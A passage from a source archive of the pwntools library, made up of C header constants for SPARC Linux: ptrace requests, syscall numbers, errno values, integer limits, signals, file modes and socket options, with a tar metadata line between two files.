SF_XARG5 0x58 #define SF_XXARG 0x5c #define PTRACE_SUNATTACH 10 #define PTRACE_SUNDETACH 11 #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define PTRACE_SETFPREGS 15 #define PTRACE_READDATA 16 #define PTRACE_WRITEDATA 17 #define PTRACE_READTEXT 18 #define PTRACE_WRITETEXT 19 #define PTRACE_GETFPAREGS 20 #define PTRACE_SETFPAREGS 21 #define PTRACE_GETUCODE 29 #define SYS_accept 99 #define SYS_accept4 323 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 281 #define SYS_adjtimex 219 #define SYS_afs_syscall 227 #define SYS_alarm 27 #define SYS_aplib 255 #define SYS_bdflush 225 #define SYS_bind 353 #define SYS_bpf 349 #define SYS_brk 17 #define SYS_capget 21 #define SYS_capset 22 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 13 #define SYS_chown32 35 #define SYS_chroot 61 #define SYS_clock_adjtime 334 #define SYS_clock_adjtime64 405 #define SYS_clock_getres 258 #define SYS_clock_getres_time64 406 #define SYS_clock_gettime 257 #define SYS_clock_gettime64 403 #define SYS_clock_nanosleep 259 #define SYS_clock_nanosleep_time64 407 #define SYS_clock_settime 256 #define SYS_clock_settime64 404 #define SYS_clone 217 #define SYS_close 6 #define SYS_connect 98 #define SYS_copy_file_range 357 #define SYS_creat 8 #define SYS_create_module 221 #define SYS_delete_module 222 #define SYS_dup 41 #define SYS_dup2 90 #define SYS_dup3 320 #define SYS_epoll_create 193 #define SYS_epoll_create1 319 #define SYS_epoll_ctl 194 #define SYS_epoll_pwait 309 #define SYS_epoll_wait 195 #define SYS_eventfd 313 #define SYS_eventfd2 318 #define SYS_execv 11 #define SYS_execve 59 #define SYS_execveat 350 #define SYS_exit 1 #define SYS_exit_group 188 #define SYS_faccessat 296 #define SYS_fadvise64 209 #define SYS_fadvise64_64 210 #define SYS_fallocate 314 #define SYS_fanotify_init 329 #define SYS_fanotify_mark 330 #define SYS_fchdir 176 #define SYS_fchmod 124 #define SYS_fchmodat 295 #define SYS_fchown 123 #define SYS_fchown32 32 #define SYS_fchownat 287 #define SYS_fcntl 92 #define SYS_fcntl64 155 #define SYS_fdatasync 253 #define SYS_fgetxattr 177 #define SYS_finit_module 342 #define SYS_flistxattr 180 #define SYS_flock 131 #define SYS_fork 2 #define SYS_fremovexattr 186 #define SYS_fsconfig 431 #define SYS_fsetxattr 171 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 62 #define SYS_fstat64 63 #define SYS_fstatat64 289 #define SYS_fstatfs 158 #define SYS_fstatfs64 235 #define SYS_fsync 95 #define SYS_ftruncate 130 #define SYS_ftruncate64 84 #define SYS_futex 142 #define SYS_futex_time64 422 #define SYS_futimesat 288 #define SYS_getcpu 308 #define SYS_getcwd 119 #define SYS_getdents 174 #define SYS_getdents64 154 #define SYS_getdomainname 162 #define SYS_getegid 50 #define SYS_getegid32 70 #define SYS_geteuid 49 #define SYS_geteuid32 69 #define SYS_getgid 47 #define SYS_getgid32 53 #define SYS_getgroups 79 #define SYS_getgroups32 115 #define SYS_getitimer 86 #define SYS_get_kernel_syms 223 #define SYS_get_mempolicy 304 #define SYS_getpagesize 64 #define SYS_getpeername 141 #define SYS_getpgid 224 #define SYS_getpgrp 81 #define SYS_getpid 20 #define SYS_getppid 197 #define SYS_getpriority 100 #define SYS_getrandom 347 #define SYS_getresgid32 111 #define SYS_getresuid32 109 #define SYS_getrlimit 144 #define SYS_get_robust_list 301 #define SYS_getrusage 117 #define SYS_getsid 252 #define SYS_getsockname 150 #define SYS_getsockopt 118 #define SYS_gettid 143 #define SYS_gettimeofday 116 #define SYS_getuid 24 #define SYS_getuid32 44 #define SYS_getxattr 172 #define SYS_init_module 190 #define SYS_inotify_init1 322 #define SYS_io_cancel 271 #define SYS_ioctl 54 #define SYS_io_destroy 269 #define SYS_io_getevents 272 #define SYS_io_pgetevents 361 #define SYS_io_pgetevents_time64 416 #define SYS_io_setup 268 #define SYS_io_submit 270 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 215 #define SYS_kcmp 341 #define SYS_kern_features 340 #define SYS_kexec_load 306 #define SYS_keyctl 283 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lchown32 31 #define SYS_lgetxattr 173 #define SYS_link 9 #define SYS_linkat 292 #define SYS_listen 354 #define SYS_listxattr 178 #define SYS_llistxattr 179 #define SYS__llseek 236 #define SYS_lookup_dcookie 208 #define SYS_lremovexattr 182 #define SYS_lseek 19 #define SYS_lsetxattr 170 #define SYS_lstat 40 #define SYS_lstat64 132 #define SYS_madvise 75 #define SYS_mbind 303 #define SYS_membarrier 351 #define SYS_memfd_create 348 #define SYS_migrate_pages 302 #define SYS_mincore 78 #define SYS_mkdir 136 #define SYS_mkdirat 285 #define SYS_mknod 14 #define SYS_mknodat 286 #define SYS_mlock 237 #define SYS_mlock2 356 #define SYS_mlockall 239 #define SYS_mmap 71 #define SYS_mmap2 56 #define SYS_mount 167 #define SYS_move_mount 429 #define SYS_move_pages 307 #define SYS_mprotect 74 #define SYS_mq_getsetattr 278 #define SYS_mq_notify 277 #define SYS_mq_open 273 #define SYS_mq_timedreceive 276 #define SYS_mq_timedreceive_time64 419 #define SYS_mq_timedsend 275 #define SYS_mq_timedsend_time64 418 #define SYS_mq_unlink 274 #define SYS_mremap 250 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 65 #define SYS_munlock 238 #define SYS_munlockall 240 #define SYS_munmap 73 #define SYS_name_to_handle_at 332 #define SYS_nanosleep 249 #define SYS__newselect 230 #define SYS_nfsservctl 254 #define SYS_nice 34 #define SYS_oldlstat 202 #define SYS_open 5 #define SYS_openat 284 #define SYS_openat2 437 #define SYS_open_by_handle_at 333 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_pciconfig_read 148 #define SYS_pciconfig_write 149 #define SYS_perfctr 18 #define SYS_perf_event_open 327 #define SYS_personality 191 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 321 #define SYS_pivot_root 146 #define SYS_pkey_alloc 363 #define SYS_pkey_free 364 #define SYS_pkey_mprotect 362 #define SYS_poll 153 #define SYS_ppoll 298 #define SYS_ppoll_time64 414 #define SYS_prctl 147 #define SYS_pread 67 #define SYS_preadv 324 #define SYS_preadv2 358 #define SYS_prlimit64 331 #define SYS_process_vm_readv 338 #define SYS_process_vm_writev 339 #define SYS_pselect6 297 #define SYS_pselect6_time64 413 #define SYS_ptrace 26 #define SYS_pwrite 68 #define SYS_pwritev 325 #define SYS_pwritev2 359 #define SYS_query_module 184 #define SYS_quotactl 165 #define SYS_read 3 #define SYS_readahead 205 #define SYS_readdir 204 #define SYS_readlink 58 #define SYS_readlinkat 294 #define SYS_readv 120 #define SYS_reboot 55 #define SYS_recvfrom 125 #define SYS_recvmmsg 328 #define SYS_recvmmsg_time64 417 #define SYS_recvmsg 113 #define SYS_remap_file_pages 192 #define SYS_removexattr 181 #define SYS_rename 128 #define SYS_renameat 291 #define SYS_renameat2 345 #define SYS_request_key 282 #define SYS_rmdir 137 #define SYS_rseq 365 #define SYS_rt_sigaction 102 #define SYS_rt_sigpending 104 #define SYS_rt_sigprocmask 103 #define SYS_rt_sigqueueinfo 106 #define SYS_rt_sigreturn 101 #define SYS_rt_sigsuspend 107 #define SYS_rt_sigtimedwait 105 #define SYS_rt_sigtimedwait_time64 421 #define SYS_rt_tgsigqueueinfo 326 #define SYS_sched_getaffinity 260 #define SYS_sched_getattr 344 #define SYS_sched_getparam 242 #define SYS_sched_get_priority_max 246 #define SYS_sched_get_priority_min 247 #define SYS_sched_getscheduler 244 #define SYS_sched_rr_get_interval 248 #define SYS_sched_rr_get_interval_time64 423 #define SYS_sched_setaffinity 261 #define SYS_sched_setattr 343 #define SYS_sched_setparam 241 #define SYS_sched_setscheduler 243 #define SYS_sched_yield 245 #define SYS_seccomp 346 #define SYS_select 93 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop_time64 420 #define SYS_sendfile 39 #define SYS_sendfile64 140 #define SYS_sendmmsg 336 #define SYS_sendmsg 114 #define SYS_sendto 133 #define SYS_setdomainname 163 #define SYS_setfsgid 229 #define SYS_setfsgid32 94 #define SYS_setfsuid 228 #define SYS_setfsuid32 91 #define SYS_setgid 46 #define SYS_setgid32 89 #define SYS_setgroups 80 #define SYS_setgroups32 82 #define SYS_sethostname 88 #define SYS_setitimer 83 #define SYS_set_mempolicy 305 #define SYS_setns 337 #define SYS_setpgid 185 #define SYS_setpriority 96 #define SYS_setregid 127 #define SYS_setregid32 112 #define SYS_setresgid32 110 #define SYS_setresuid32 108 #define SYS_setreuid 126 #define SYS_setreuid32 72 #define SYS_setrlimit 145 #define SYS_set_robust_list 300 #define SYS_setsid 175 #define SYS_setsockopt 355 #define SYS_set_tid_address 166 #define SYS_settimeofday 122 #define SYS_setuid 23 #define SYS_setuid32 87 #define SYS_setxattr 169 #define SYS_sgetmask 199 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 134 #define SYS_sigaction 198 #define SYS_sigaltstack 28 #define SYS_signal 48 #define SYS_signalfd 311 #define SYS_signalfd4 317 #define SYS_sigpending 183 #define SYS_sigprocmask 220 #define SYS_sigreturn 216 #define SYS_sigsuspend 201 #define SYS_socket 97 #define SYS_socketcall 206 #define SYS_socketpair 135 #define SYS_ssetmask 200 #define SYS_stat 38 #define SYS_stat64 139 #define SYS_statfs 157 #define SYS_statfs64 234 #define SYS_statx 360 #define SYS_stime 233 #define SYS_swapoff 213 #define SYS_swapon 85 #define SYS_symlink 57 #define SYS_symlinkat 293 #define SYS_sync 36 #define SYS_syncfs 335 #define SYS__sysctl 251 #define SYS_sysfs 226 #define SYS_sysinfo 214 #define SYS_syslog 207 #define SYS_sys_setaltroot 280 #define SYS_tgkill 211 #define SYS_time 231 #define SYS_timer_create 266 #define SYS_timer_delete 265 #define SYS_timerfd 312 #define SYS_timerfd_gettime 316 #define SYS_timerfd_gettime64 410 #define SYS_timerfd_settime 315 #define SYS_timerfd_settime64 411 #define SYS_timer_getoverrun 264 #define SYS_timer_gettime 263 #define SYS_timer_gettime64 408 #define SYS_timer_settime 262 #define SYS_timer_settime64 409 #define SYS_times 43 #define SYS_tkill 187 #define SYS_truncate 129 #define SYS_truncate64 77 #define SYS_umask 60 #define SYS_umount 159 #define SYS_umount2 45 #define SYS_uname 189 #define SYS_unlink 10 #define SYS_unlinkat 290 #define SYS_unshare 299 #define SYS_uselib 203 #define SYS_userfaultfd 352 #define SYS_ustat 168 #define SYS_utime 30 #define SYS_utimensat 310 #define SYS_utimensat_time64 412 #define SYS_utimes 138 #define SYS_vfork 66 #define SYS_vhangup 76 #define SYS_wait4 7 #define SYS_waitid 279 #define SYS_waitpid 212 #define SYS_write 4 #define SYS_writev 121 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/sparc64.h000066400000000000000000001052161507273764500250130ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_wait4 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execv 11 #define __NR_chdir 12 #define __NR_chown 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_brk 17 #define __NR_perfctr 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_capget 21 #define __NR_capset 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_sigaltstack 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_access 33 #define __NR_nice 34 #define __NR_sync 36 #define __NR_kill 37 #define __NR_stat 38 #define __NR_sendfile 39 #define __NR_lstat 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_umount2 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_memory_ordering 52 #define __NR_ioctl 54 #define __NR_reboot 55 #define __NR_symlink 57 #define __NR_readlink 58 #define __NR_execve 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_fstat 62 #define __NR_getpagesize 64 #define __NR_msync 65 #define __NR_vfork 66 #define __NR_pread 67 #define __NR_pwrite 68 #define __NR_mmap 71 #define __NR_munmap 73 #define __NR_mprotect 74 #define __NR_madvise 75 #define __NR_vhangup 76 #define __NR_mincore 78 #define __NR_getgroups 79 #define __NR_setgroups 80 #define __NR_getpgrp 81 #define __NR_setitimer 83 #define __NR_swapon 85 #define __NR_getitimer 86 #define __NR_sethostname 88 #define __NR_dup2 90 #define __NR_fcntl 92 #define __NR_select 93 #define __NR_fsync 95 #define __NR_setpriority 96 #define __NR_socket 97 #define __NR_connect 98 #define __NR_accept 99 #define __NR_getpriority 100 #define __NR_rt_sigreturn 101 #define __NR_rt_sigaction 102 #define __NR_rt_sigprocmask 103 #define __NR_rt_sigpending 104 #define __NR_rt_sigtimedwait 105 #define __NR_rt_sigqueueinfo 106 #define __NR_rt_sigsuspend 107 #define __NR_setresuid 108 #define __NR_getresuid 109 #define __NR_setresgid 110 #define __NR_getresgid 111 #define __NR_recvmsg 113 #define __NR_sendmsg 114 #define __NR_gettimeofday 116 #define __NR_getrusage 117 #define __NR_getsockopt 118 #define __NR_getcwd 119 #define __NR_readv 120 #define __NR_writev 121 #define __NR_settimeofday 122 #define __NR_fchown 123 #define __NR_fchmod 124 #define __NR_recvfrom 125 #define __NR_setreuid 126 #define __NR_setregid 127 #define __NR_rename 128 #define __NR_truncate 129 #define __NR_ftruncate 130 #define __NR_flock 131 #define __NR_sendto 133 #define __NR_shutdown 134 #define __NR_socketpair 135 #define __NR_mkdir 136 #define __NR_rmdir 137 #define __NR_utimes 138 #define __NR_sendfile64 140 #define __NR_getpeername 141 #define __NR_futex 142 #define __NR_gettid 143 #define __NR_getrlimit 144 #define __NR_setrlimit 145 #define __NR_pivot_root 146 #define __NR_prctl 147 #define __NR_pciconfig_read 148 #define __NR_pciconfig_write 149 #define __NR_getsockname 150 #define __NR_poll 153 #define __NR_getdents64 154 #define __NR_statfs 157 #define __NR_fstatfs 158 #define __NR_umount 159 #define __NR_sched_set_affinity 160 #define __NR_sched_get_affinity 161 #define __NR_getdomainname 162 #define __NR_setdomainname 163 #define __NR_utrap_install 164 #define __NR_quotactl 165 #define __NR_set_tid_address 166 #define __NR_mount 167 #define __NR_ustat 168 #define __NR_setxattr 169 #define __NR_lsetxattr 170 #define __NR_fsetxattr 171 #define __NR_getxattr 172 #define __NR_lgetxattr 173 #define __NR_getdents 174 #define __NR_setsid 175 #define __NR_fchdir 176 #define __NR_fgetxattr 177 #define __NR_listxattr 178 #define __NR_llistxattr 179 #define __NR_flistxattr 180 #define __NR_removexattr 181 #define __NR_lremovexattr 182 #define __NR_sigpending 183 #define __NR_query_module 184 #define __NR_setpgid 185 #define __NR_fremovexattr 186 #define __NR_tkill 187 #define __NR_exit_group 188 #define __NR_uname 189 #define __NR_init_module 190 #define __NR_personality 191 #define __NR_remap_file_pages 192 #define __NR_epoll_create 193 #define __NR_epoll_ctl 194 #define __NR_epoll_wait 195 #define __NR_getppid 197 #define __NR_sigaction 198 #define __NR_sgetmask 199 #define __NR_ssetmask 200 #define __NR_sigsuspend 201 #define __NR_oldlstat 202 #define __NR_uselib 203 #define __NR_readdir 204 #define __NR_readahead 205 #define __NR_socketcall 206 #define __NR_syslog 207 #define __NR_lookup_dcookie 208 #define __NR_fadvise64 209 #define __NR_fadvise64_64 210 #define __NR_tgkill 211 #define __NR_waitpid 212 #define __NR_swapoff 213 #define __NR_sysinfo 214 #define __NR_ipc 215 #define __NR_sigreturn 216 #define __NR_clone 217 #define __NR_adjtimex 219 #define __NR_sigprocmask 220 #define __NR_create_module 221 #define __NR_delete_module 222 #define __NR_get_kernel_syms 223 #define __NR_getpgid 224 #define __NR_bdflush 225 #define __NR_sysfs 226 #define __NR_afs_syscall 227 #define __NR_setfsuid 228 #define __NR_setfsgid 229 #define __NR__newselect 230 #define __NR_stime 233 #define __NR_statfs64 234 #define __NR_fstatfs64 235 #define __NR__llseek 236 #define __NR_mlock 237 #define __NR_munlock 238 #define __NR_mlockall 239 #define __NR_munlockall 240 #define __NR_sched_setparam 241 #define __NR_sched_getparam 242 #define __NR_sched_setscheduler 243 #define __NR_sched_getscheduler 244 #define __NR_sched_yield 245 #define __NR_sched_get_priority_max 246 #define __NR_sched_get_priority_min 247 #define __NR_sched_rr_get_interval 248 #define __NR_nanosleep 249 #define __NR_mremap 250 #define __NR__sysctl 251 #define __NR_getsid 252 #define __NR_fdatasync 253 #define __NR_nfsservctl 254 #define __NR_aplib 255 #define __NR_clock_settime 256 #define __NR_clock_gettime 257 #define __NR_clock_getres 258 #define __NR_clock_nanosleep 259 #define __NR_sched_getaffinity 260 #define __NR_sched_setaffinity 261 #define __NR_timer_settime 262 #define __NR_timer_gettime 263 #define __NR_timer_getoverrun 264 #define __NR_timer_delete 265 #define __NR_timer_create 266 #define __NR_io_setup 268 #define __NR_io_destroy 269 #define __NR_io_submit 270 #define __NR_io_cancel 271 #define __NR_io_getevents 272 #define __NR_mq_open 273 #define __NR_mq_unlink 274 #define __NR_mq_timedsend 275 #define __NR_mq_timedreceive 276 #define __NR_mq_notify 277 #define __NR_mq_getsetattr 278 #define __NR_waitid 279 #define __NR_add_key 281 #define __NR_request_key 282 #define __NR_keyctl 283 #define __NR_openat 284 #define __NR_mkdirat 285 #define __NR_mknodat 286 #define __NR_fchownat 287 #define __NR_futimesat 288 #define __NR_fstatat64 289 #define __NR_unlinkat 290 #define __NR_renameat 291 #define __NR_linkat 292 #define __NR_symlinkat 293 #define __NR_readlinkat 294 #define __NR_fchmodat 295 #define __NR_faccessat 296 #define __NR_pselect6 297 #define __NR_ppoll 298 #define __NR_unshare 299 #define __NR_set_robust_list 300 #define __NR_get_robust_list 301 #define __NR_migrate_pages 302 #define __NR_mbind 303 #define __NR_get_mempolicy 304 #define __NR_set_mempolicy 305 #define __NR_kexec_load 306 #define __NR_move_pages 307 #define __NR_getcpu 308 #define __NR_epoll_pwait 309 #define __NR_utimensat 310 #define __NR_signalfd 311 #define __NR_timerfd 312 #define __NR_eventfd 313 #define __NR_fallocate 314 #define __NR_timerfd_settime 315 #define __NR_timerfd_gettime 316 #define __NR_signalfd4 317 #define __NR_eventfd2 318 #define __NR_epoll_create1 319 #define __NR_dup3 320 #define __NR_pipe2 321 #define __NR_inotify_init1 322 #define __NR_accept4 323 #define __NR_preadv 324 #define __NR_pwritev 325 #define __NR_rt_tgsigqueueinfo 326 #define __NR_perf_event_open 327 #define __NR_recvmmsg 328 #define __NR_fanotify_init 329 #define __NR_fanotify_mark 330 #define __NR_prlimit64 331 #define __NR_name_to_handle_at 332 #define __NR_open_by_handle_at 333 #define __NR_clock_adjtime 334 #define __NR_syncfs 335 #define __NR_sendmmsg 336 #define __NR_setns 337 #define __NR_process_vm_readv 338 #define __NR_process_vm_writev 339 #define __NR_kern_features 340 #define __NR_kcmp 341 #define __NR_finit_module 342 #define __NR_sched_setattr 343 #define __NR_sched_getattr 344 #define __NR_renameat2 345 #define __NR_seccomp 346 #define __NR_getrandom 347 #define __NR_memfd_create 348 #define __NR_bpf 349 #define __NR_execveat 350 #define __NR_membarrier 351 #define __NR_userfaultfd 352 #define __NR_bind 353 #define __NR_listen 354 #define __NR_setsockopt 355 #define __NR_mlock2 356 #define __NR_copy_file_range 357 #define __NR_preadv2 358 #define __NR_pwritev2 359 #define __NR_statx 360 #define __NR_io_pgetevents 361 #define __NR_pkey_mprotect 362 #define __NR_pkey_alloc 363 #define __NR_pkey_free 364 #define __NR_rseq 365 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define MC_TSTATE 0 #define MC_PC 1 #define MC_NPC 2 #define MC_Y 3 #define MC_G1 4 #define MC_G2 5 #define MC_G3 6 #define MC_G4 7 #define MC_G5 8 #define MC_G6 9 #define MC_G7 10 #define MC_O0 11 #define MC_O1 12 #define MC_O2 13 #define MC_O3 14 #define MC_O4 15 #define MC_O5 16 #define MC_O6 17 #define MC_O7 18 #define MC_NGREG 19 #define MC_MAXFPQ 16 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define 